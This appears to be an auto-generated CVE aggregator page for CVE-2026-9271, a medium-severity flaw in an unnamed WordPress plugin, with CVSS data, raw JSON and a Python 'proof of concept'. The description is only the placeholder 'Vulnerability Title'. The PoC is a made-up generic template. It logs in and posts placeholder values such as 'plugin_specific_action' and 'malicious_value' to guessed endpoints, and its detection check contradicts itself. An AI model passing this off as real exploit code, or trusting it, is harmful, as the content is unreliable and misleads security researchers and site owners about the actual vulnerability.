Security Vulnerability Report
中文
CVE-2026-9271 CVSS 5.9 MEDIUM

CVE-2026-9271

Published: 2026-06-12 07:16:21
Last Modified: 2026-06-12 16:16:35

Description

Vulnerability Title

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WordPress Plugin (具体版本待确认,请参考WPScan官方披露)
建议访问 https://wpscan.com/vulnerability/b5d549b7-17c8-417d-a86a-a7ae356a6eab 获取详细受影响版本信息

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9271 PoC - WordPress Plugin Security Bypass # Note: This PoC is for educational and authorized testing purposes only import requests import sys from urllib.parse import urljoin def test_cve_2026_9271(target_url, username, password): """ Test for CVE-2026-9271 WordPress Plugin Vulnerability Requires high-privilege account and user interaction """ session = requests.Session() # WordPress login endpoint login_url = urljoin(target_url, '/wp-login.php') # Login with high-privilege account login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } print(f'[*] Attempting login to {target_url}') response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful') # Vulnerable endpoint - plugin-specific # Replace with actual vulnerable endpoint after analysis vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/admin.php?page=plugin_settings' ] for endpoint in vulnerable_endpoints: test_url = urljoin(target_url, endpoint) # Crafted request exploiting the vulnerability # This requires user interaction and specific conditions exploit_data = { 'action': 'plugin_specific_action', 'nonce': 'test', 'parameter': 'malicious_value' } print(f'[*] Testing endpoint: {endpoint}') response = session.post(test_url, data=exploit_data) if response.status_code == 200: # Check for vulnerability indicators if 'unexpected_data' in response.text or response.status_code == 403: print(f'[+] Potential vulnerability detected at {endpoint}') return True print('[-] No vulnerability detected or exploit conditions not met') print('[*] Note: CVE-2026-9271 requires user interaction (UI:R)') return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2026_9271_poc.py <target_url> <username> <password>') print('Example: python cve_2026_9271_poc.py http://example.com admin password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] test_cve_2026_9271(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9271", "sourceIdentifier": "[email protected]", "published": "2026-06-12T07:16:21.360", "lastModified": "2026-06-12T16:16:34.800", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability Title"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "references": [{"url": "https://wpscan.com/vulnerability/b5d549b7-17c8-417d-a86a-a7ae356a6eab/", "source": "[email protected]"}]}}